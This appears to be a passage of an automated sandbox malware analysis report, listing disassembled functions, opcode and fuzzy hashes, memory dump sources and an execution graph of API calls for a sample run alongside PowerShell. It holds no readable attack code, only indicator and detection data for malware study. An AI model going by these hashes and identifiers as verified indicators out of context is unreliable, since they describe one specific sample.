                                                                                                                                                                                                                                          • String ID: :
                                                                                                                                                                                                                                          • API String ID: 1611563598-336475711
                                                                                                                                                                                                                                          • Opcode ID: 779a21297323b81187f7e0c7d27b40be9ec8fbab2d126766b2de98969da868de
                                                                                                                                                                                                                                          • Instruction ID: ac6abffe3ed46ec0717463deff46bb887dd8adea69827a97dd4837e0181bcba0
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 779a21297323b81187f7e0c7d27b40be9ec8fbab2d126766b2de98969da868de
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: BF21D522B0CA8182EB30AB29E44427DA3B1FB84B44FD54139EBCD47694EF7CD9458B60
                                                                                                                                                                                                                                          Function 00007FF79D05FDB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ExceptionFileHeaderRaise
                                                                                                                                                                                                                                          • String ID: csm
                                                                                                                                                                                                                                          • API String ID: 2573137834-1018135373
                                                                                                                                                                                                                                          • Opcode ID: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
                                                                                                                                                                                                                                          • Instruction ID: 7b0f80d1265c47eb63735fa4bbcfac574310b14b55e817a46769a2757d2e47b1
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7B111C3261DB8182EB619B2AF440269BBE5FB88B84F984230DECD07759EF3CD5518B10
                                                                                                                                                                                                                                          Function 00007FF79D0707AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: DriveType_invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID: :
                                                                                                                                                                                                                                          • API String ID: 2595371189-336475711
                                                                                                                                                                                                                                          • Opcode ID: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
                                                                                                                                                                                                                                          • Instruction ID: 03d02de00c36d2d82c3eb5f06dd3c8b4d7db3c49788185ab600d809d16472a1b
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5F017122A1C64385FB30BF78986527EA3A0EF44708FC00135D58D46791FE2CE554CA24

                                                                                                                                                                                                                                          Executed Functions

                                                                                                                                                                                                                                          Function 00007FFD32E23428 Relevance: 1.4, Strings: 1, Instructions: 124COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000008.00000002.2230702537.00007FFD32E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32E20000, based on PE: false
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_8_2_7ffd32e20000_powershell.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: /P^
                                                                                                                                                                                                                                          • API String ID: 0-550128577
                                                                                                                                                                                                                                          • Opcode ID: 74e322c4581a2545814b1a4298bb2323e54a856ea238324d512c4f585507a730
                                                                                                                                                                                                                                          • Instruction ID: a558de0337445371847e8382bff292a8de13f8a96dccb8ea72e4fe14c7659f95
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 74e322c4581a2545814b1a4298bb2323e54a856ea238324d512c4f585507a730
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: D9416077A0D7D20FE3575A6898670A53FB0EF2326070A01FBC5C68B0A3E55A58079B91
                                                                                                                                                                                                                                          Function 00007FFD32E2C4FB Relevance: .8, Instructions: 819COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000008.00000002.2230702537.00007FFD32E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32E20000, based on PE: false
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_8_2_7ffd32e20000_powershell.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 5288a29a937e2e5c9a873be156e11c02048b1b159908be5e560faa898e6657ed
                                                                                                                                                                                                                                          • Instruction ID: dc9da66012925b6135ebebead649f6415ef0dd13a917f81b3ac87cb801590f5e
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5288a29a937e2e5c9a873be156e11c02048b1b159908be5e560faa898e6657ed
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5AC14431B0CA594FEB58FB5CD4966E877E0EF94362F04017ED18EC7193CAA6A846C781
                                                                                                                                                                                                                                          Function 00007FFD32E2A1FB Relevance: .3, Instructions: 258COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000008.00000002.2230702537.00007FFD32E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32E20000, based on PE: false
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_8_2_7ffd32e20000_powershell.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 840c0b87e28336e6b1af4236a5c03048cfef1a9e35fb00e6f7ec7f70a5940271
                                                                                                                                                                                                                                          • Instruction ID: eed39bab2fbeef1e1f1425eb460ea2c443b7d3e4fb32776e292b5f22c5318853
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 840c0b87e28336e6b1af4236a5c03048cfef1a9e35fb00e6f7ec7f70a5940271
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: CB114C6690E7C88FD743AB385C790D57FB0EF6311171E01EBD489CB0A3D55A5808D7A2
                                                                                                                                                                                                                                          Function 00007FFD32D0E540 Relevance: .1, Instructions: 122COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000008.00000002.2229988245.00007FFD32D0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32D0D000, based on PE: false
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_8_2_7ffd32d0d000_powershell.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 76a4a5ac16517fe7ec0416c52cabdbb29bd57b0a16c0e4a40fa3a5e4aeb78cb8
                                                                                                                                                                                                                                          • Instruction ID: 418765351ef5190057026e1916b9db33f59f4d026c8b7f179038b5a868e38034
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 76a4a5ac16517fe7ec0416c52cabdbb29bd57b0a16c0e4a40fa3a5e4aeb78cb8
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1741343180DBC44FE7568B28A8559523FF0EF52221B194AEFD088CB1A3D625E846C7E2
                                                                                                                                                                                                                                          Function 00007FFD32E298A8 Relevance: .1, Instructions: 113COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000008.00000002.2230702537.00007FFD32E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32E20000, based on PE: false
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_8_2_7ffd32e20000_powershell.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 429f8b7452d07496665e7a450f3aa9a457a8a5670361eee02ffa6c7e8211d2cf
                                                                                                                                                                                                                                          • Instruction ID: 57e23aac1f6efe03d07855a8af8c5361ab58c7be8cf94f765f4f2e6a686079b1
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 429f8b7452d07496665e7a450f3aa9a457a8a5670361eee02ffa6c7e8211d2cf
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2F31B53191CB4C8FDB58DB5CA8466A97BE0FB98321F00422FE449D3251CB71A855CBC2
                                                                                                                                                                                                                                          Function 00007FFD32D0E658 Relevance: .1, Instructions: 77COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000008.00000002.2229988245.00007FFD32D0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32D0D000, based on PE: false
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_8_2_7ffd32d0d000_powershell.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: a92c2f49039021724be7968b1fae568184dd983cc24fc3696e35fe8875c9d310
                                                                                                                                                                                                                                          • Instruction ID: 7083a353f8675d978e71ec03ab8306adc413da0c0874f30fe153e985b16e08e9
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: a92c2f49039021724be7968b1fae568184dd983cc24fc3696e35fe8875c9d310
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2821836290EBC58FD743A77498295153FB0AF13240B5E88EBC089CF1F3E55CA809C7A1
                                                                                                                                                                                                                                          Function 00007FFD32EF6A0E Relevance: .1, Instructions: 57COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000008.00000002.2231312283.00007FFD32EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32EF0000, based on PE: false
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_8_2_7ffd32ef0000_powershell.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 76433de1bbd85352bbd9c12c0ce8b786d21b3df08d03435c15206e083e92b302
                                                                                                                                                                                                                                          • Instruction ID: 71dd807b742400023d84e5aedbc2e54a2d8c467f046eb2430303789ced80ce6a
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 76433de1bbd85352bbd9c12c0ce8b786d21b3df08d03435c15206e083e92b302
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 58113232F0DB894FEB55DB9884A51A87BE1EF49301B1440BFC14DD7093DA66A881C341
                                                                                                                                                                                                                                          Function 00007FFD32E233B5 Relevance: .0, Instructions: 49COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000008.00000002.2230702537.00007FFD32E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32E20000, based on PE: false
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_8_2_7ffd32e20000_powershell.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
                                                                                                                                                                                                                                          • Instruction ID: 66923b409c307936fb516beab4ceedae3ee032a8cae020c10853fde048fba5cc
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: EF01A73020CB0C8FDB44EF0CE051AA5B3E0FB85364F10052DE58AC3661DA32E882CB41
                                                                                                                                                                                                                                          Function 00007FFD32EF432D Relevance: .0, Instructions: 37COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000008.00000002.2231312283.00007FFD32EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32EF0000, based on PE: false
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_8_2_7ffd32ef0000_powershell.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 414c042f99d129570c60eaf04bf4ca4a4e9bb1901815fc30e895a75b4b7879a1
                                                                                                                                                                                                                                          • Instruction ID: 7664b84c88fd7e53954dcf4ae936b8caa0ff2fafd449932db33574839555eaf0
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 414c042f99d129570c60eaf04bf4ca4a4e9bb1901815fc30e895a75b4b7879a1
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: CCF05433B4E5458FE768EB4CE4558E873E0EF4932171500BAE25DC7563CA66EC41C741
                                                                                                                                                                                                                                          Function 00007FFD32EF45E0 Relevance: .0, Instructions: 35COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000008.00000002.2231312283.00007FFD32EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32EF0000, based on PE: false
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_8_2_7ffd32ef0000_powershell.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 2590fc560aa63b1caf9e0651827e77f89be0bb1ee3b92cbe492765b12fdc6598
                                                                                                                                                                                                                                          • Instruction ID: 9258b6b69c6e3727adf14dc740253087f54fe19388c1db6cf6ebebc3257178b5
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2590fc560aa63b1caf9e0651827e77f89be0bb1ee3b92cbe492765b12fdc6598
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 15F05E33A4D5448FEB54EB4CE4914E877E0EF4532271600BAE25DD7463CA6AAC40C780
                                                                                                                                                                                                                                          Function 00007FFD32E278ED Relevance: .0, Instructions: 20COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000008.00000002.2230702537.00007FFD32E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32E20000, based on PE: false
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_8_2_7ffd32e20000_powershell.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: a34ff6bfc95eacc514320f3ebbe57d124bc1709962cdcc17feed158d0b1a62bb
                                                                                                                                                                                                                                          • Instruction ID: cd549acfc6b900ab436d64d787c70e696b62d1520b5576ccd9f860c37d5f2035
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: a34ff6bfc95eacc514320f3ebbe57d124bc1709962cdcc17feed158d0b1a62bb
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9AE07D1070C7810FC300A11890117B976E19F85300F44083CF4CE833C3C59D58416362

                                                                                                                                                                                                                                          Non-executed Functions

                                                                                                                                                                                                                                          Function 00007FFD32E286FA Relevance: 6.3, Strings: 5, Instructions: 94COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000008.00000002.2230702537.00007FFD32E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32E20000, based on PE: false
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_8_2_7ffd32e20000_powershell.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: K_^$K_^$K_^$K_^$K_^
                                                                                                                                                                                                                                          • API String ID: 0-4077390204
                                                                                                                                                                                                                                          • Opcode ID: d4221e802112563345677e23030bd68d31a4675126bb2f17650f0c461cd2a38c
                                                                                                                                                                                                                                          • Instruction ID: 2111b517acf694bf43f29579437b7a85a0299188105f91e6555f14773be8e463
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: d4221e802112563345677e23030bd68d31a4675126bb2f17650f0c461cd2a38c
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: E131E6B3D0D6CA1BF752AA796CB60C13FF0AF22255B0B00FBC584DB483FE6554069211
                                                                                                                                                                                                                                          Function 00007FFD32E28955 Relevance: 5.2, Strings: 4, Instructions: 150COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000008.00000002.2230702537.00007FFD32E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32E20000, based on PE: false
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_8_2_7ffd32e20000_powershell.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: K_^$K_^$K_^$K_^
                                                                                                                                                                                                                                          • API String ID: 0-4267328068
                                                                                                                                                                                                                                          • Opcode ID: 2b4bf936dd505944d62a99c9e18fa3ec58c9028c238d50109b6f9743ba063416
                                                                                                                                                                                                                                          • Instruction ID: 08743867247f0e5483d9380a03e01b80fa67d8b7cff1c02ff966278e5685dcca
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2b4bf936dd505944d62a99c9e18fa3ec58c9028c238d50109b6f9743ba063416
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1D41E1B7E0E7C21FF74296295C7A0817BB0EF52255B1A01FBC1859B493ED5B58078222
                                                                                                                                                                                                                                          Function 00007FFD32E28BFA Relevance: 6.4, Strings: 5, Instructions: 108COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000008.00000002.2230702537.00007FFD32E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD32E20000, based on PE: false
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_8_2_7ffd32e20000_powershell.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: K_^6$K_^<$K_^F$K_^I$K_^J
                                                                                                                                                                                                                                          • API String ID: 0-3659583007
                                                                                                                                                                                                                                          • Opcode ID: 1fbaf49be79dd948ff05ae6d68090260de0895f03d3052ae4879433bb77555df
                                                                                                                                                                                                                                          • Instruction ID: 246dfbf79306c292644c0d1d1659aebf299b368c15da7ce11693d5d88f7fab13
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1fbaf49be79dd948ff05ae6d68090260de0895f03d3052ae4879433bb77555df
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: C52144777085162EFA1277ADB8015DC77A0DF943BA34842B3D25CCB503D954A18B86A0

                                                                                                                                                                                                                                          Execution Graph

                                                                                                                                                                                                                                          Execution Coverage:7.1%
                                                                                                                                                                                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                          Signature Coverage:0.6%
                                                                                                                                                                                                                                          Total number of Nodes:1085
                                                                                                                                                                                                                                          Total number of Limit Nodes:16
                                                                                                                                                                                                                                          execution_graph 38247 7ff68a201884 38379 7ff68a2334e4 38247->38379 38250 7ff68a2334e4 CompareStringW 38252 7ff68a2018a6 38250->38252 38251 7ff68a201926 38253 7ff68a20195b 38251->38253 38443 7ff68a233f98 63 API calls 2 library calls 38251->38443 38255 7ff68a2334e4 CompareStringW 38252->38255 38260 7ff68a2018b9 38252->38260 38261 7ff68a201970 38253->38261 38444 7ff68a222ed8 100 API calls 3 library calls 38253->38444 38255->38260 38258 7ff68a201915 38442 7ff68a21ca40 61 API calls _CxxThrowException 38258->38442 38260->38251 38441 7ff68a201168 8 API calls 2 library calls 38260->38441 38262 7ff68a2019b8 38261->38262 38445 7ff68a2449f4 48 API calls 38261->38445 38383 7ff68a205450 38262->38383 38264 7ff68a2019b0 38446 7ff68a218444 54 API calls fflush 38264->38446 38270 7ff68a2072c4 76 API calls 38277 7ff68a201a12 38270->38277 38271 7ff68a201b04 38421 7ff68a216c94 38271->38421 38272 7ff68a201ae6 38417 7ff68a207514 38272->38417 38275 7ff68a201af2 38276 7ff68a207514 72 API calls 38275->38276 38278 7ff68a201aff 38276->38278 38277->38271 38277->38272 38279 7ff68a25a610 _handle_error 8 API calls 38278->38279 38280 7ff68a202f97 38279->38280 38281 7ff68a201b13 38437 7ff68a207148 38281->38437 38283 7ff68a201c71 38284 7ff68a201ca7 38283->38284 38285 7ff68a2063e8 8 API calls 38283->38285 38286 7ff68a201ce4 38284->38286 38287 7ff68a201cd5 38284->38287 38288 7ff68a201c91 38285->38288 38289 7ff68a25a444 new RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 38286->38289 38291 7ff68a25a444 new RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 38287->38291 38290 7ff68a2049b8 99 API calls 38288->38290 38295 7ff68a201cee 38289->38295 38292 7ff68a201c9d 38290->38292 38291->38295 38293 7ff68a2063e8 8 API calls 38292->38293 38293->38284 38294 7ff68a201d50 38297 7ff68a25a444 new RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 38294->38297 38295->38294 38296 7ff68a24de30 72 API calls 38295->38296 38296->38294 38298 7ff68a201d62 38297->38298 38299 7ff68a24dbd0 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 38298->38299 38300 7ff68a201d7b 38298->38300 38299->38300 38301 7ff68a252bcc 66 API calls 38300->38301 38302 7ff68a201dba 38301->38302 38377 7ff68a22ae10 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 38302->38377 38303 7ff68a201e1c 38305 7ff68a2010c0 8 API calls 38303->38305 38307 7ff68a201e5d 38303->38307 38304 7ff68a201dde std::bad_alloc::bad_alloc 38304->38303 38306 7ff68a25ba34 _CxxThrowException RtlPcToFileHeader RaiseException 38304->38306 38305->38307 38306->38303 38308 7ff68a20a410 159 API calls 38307->38308 38361 7ff68a201ef4 38307->38361 38308->38361 38309 7ff68a202ccc 38310 7ff68a202d0c 38309->38310 38376 7ff68a228c80 72 API calls 38309->38376 38311 7ff68a24de30 72 API calls 38310->38311 38317 7ff68a202d21 38310->38317 38311->38317 38312 7ff68a202d86 38319 7ff68a2449f4 48 API calls 38312->38319 38353 7ff68a202dd0 38312->38353 38313 7ff68a2449f4 48 API calls 38346 7ff68a202005 38313->38346 38314 7ff68a226688 48 API calls 38314->38361 38315 7ff68a205e70 169 API calls 38315->38346 38316 7ff68a2080e4 192 API calls 38316->38353 38317->38312 38321 7ff68a2449f4 48 API calls 38317->38321 38318 7ff68a20a504 208 API calls 38318->38353 38320 7ff68a202d9e 38319->38320 38324 7ff68a218444 54 API calls 38320->38324 38326 7ff68a202d6c 38321->38326 38322 7ff68a205928 237 API calls 38322->38346 38323 7ff68a20e6c8 157 API calls 38323->38361 38328 7ff68a202da6 38324->38328 38325 7ff68a227c7c 127 API calls 38325->38353 38329 7ff68a2449f4 48 API calls 38326->38329 38327 7ff68a20a410 159 API calls 38327->38361 38336 7ff68a221c24 12 API calls 38328->38336 38333 7ff68a202d79 38329->38333 38330 7ff68a21e21c 63 API calls 38330->38346 38331 7ff68a201168 8 API calls 38331->38353 38332 7ff68a20b540 147 API calls 38332->38361 38334 7ff68a218444 54 API calls 38333->38334 38334->38312 38335 7ff68a2265b4 48 API calls 38335->38361 38336->38353 38337 7ff68a224554 16 API calls 38337->38361 38338 7ff68a221998 138 API calls 38338->38361 38339 7ff68a24ae50 71 API calls 38342 7ff68a202e39 38339->38342 38340 7ff68a2033b4 64 API calls 38340->38353 38341 7ff68a205db4 46 API calls 38341->38361 38342->38339 38343 7ff68a21ca40 61 API calls 38342->38343 38342->38353 38343->38353 38344 7ff68a206188 231 API calls 38344->38353 38345 7ff68a221e80 15 API calls 38345->38361 38346->38313 38346->38315 38346->38322 38346->38330 38349 7ff68a20b540 147 API calls 38346->38349 38346->38361 38370 7ff68a24b6d0 73 API calls 38346->38370 38373 7ff68a218444 54 API calls 38346->38373 38347 7ff68a221930 11 API calls 38347->38361 38348 7ff68a203f74 138 API calls 38348->38353 38349->38346 38350 7ff68a227c7c 127 API calls 38350->38361 38351 7ff68a2449f4 48 API calls 38351->38353 38352 7ff68a23ba9c 195 API calls 38352->38353 38353->38316 38353->38318 38353->38325 38353->38331 38353->38340 38353->38342 38353->38344 38353->38348 38353->38351 38353->38352 38355 7ff68a218444 54 API calls 38353->38355 38354 7ff68a205004 49 API calls 38354->38361 38355->38353 38356 7ff68a20a4d0 12 API calls 38356->38361 38357 7ff68a20571c 12 API calls 38357->38361 38358 7ff68a201168 8 API calls 38358->38361 38359 7ff68a2218ac 15 API calls 38359->38361 38360 7ff68a24d48c 58 API calls 38360->38361 38361->38309 38361->38314 38361->38323 38361->38327 38361->38332 38361->38335 38361->38337 38361->38338 38361->38341 38361->38345 38361->38346 38361->38347 38361->38350 38361->38354 38361->38356 38361->38357 38361->38358 38361->38359 38361->38360 38362 7ff68a205e70 169 API calls 38361->38362 38363 7ff68a219be0 14 API calls 38361->38363 38364 7ff68a24c0a8 10 API calls 38361->38364 38365 7ff68a226378 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 38361->38365 38366 7ff68a2397f0 GetStdHandle ReadFile GetLastError GetLastError GetFileType 38361->38366 38367 7ff68a21cbd0 75 API calls 38361->38367 38368 7ff68a225c0c 237 API calls 38361->38368 38369 7ff68a225d40 237 API calls 38361->38369 38371 7ff68a206114 216 API calls 38361->38371 38372 7ff68a225708 237 API 